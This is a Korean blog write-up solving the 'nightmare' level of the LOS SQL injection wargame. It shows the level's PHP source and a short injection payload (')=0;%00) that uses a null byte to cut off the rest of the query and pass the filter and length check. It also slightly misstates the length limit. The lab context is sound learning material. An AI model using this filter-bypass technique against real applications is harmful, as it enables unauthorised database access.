Tyojong

[LOS] nightmare 본문

web/LOS

[LOS] nightmare

Tyojong 2026. 1. 7. 18:06
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)|#|-/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(strlen($_GET[pw])>6) exit("No Hack ~_~"); 
  $query = "select id from prob_nightmare where pw=('{$_GET[pw]}') and id!='admin'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("nightmare"); 
  highlight_file(__FILE__); 
?>

 

문제 목표

if($result['id']) solve("nightmare");

id가 출력되면 문제가 해결된다.

 

if(strlen($_GET[pw])>6) exit("No Hack ~_~"); 

pw의 입력 길이는 5자 이하로 제한되어있다.

 

문제 해결

select id from prob_nightmare where pw=('{$_GET[pw]}') and id!='admin'

해당 쿼리에 문자열이 그대로 들어가므로

')=0;%00 을 넣으면

select id from prob_nightmare where pw=('')=0;') and id!='admin'

쿼리가 만들어지고 %00 뒤에는 주석처리되어 5글자 이내로 해결된다. (%00은 url인코딩된 값으로 디코딩되어 길이를 비교하기 때문에 문자열 길이에 영향을 주지 않는다.)

'web > LOS' 카테고리의 다른 글

[LOS] dragon  (0) 2026.01.30
[LOS] xavis  (2) 2026.01.27
[LOS] zombie_assassin  (0) 2025.08.14
[LOS] succubus  (0) 2025.08.13
[LOS] assassin  (2) 2025.08.12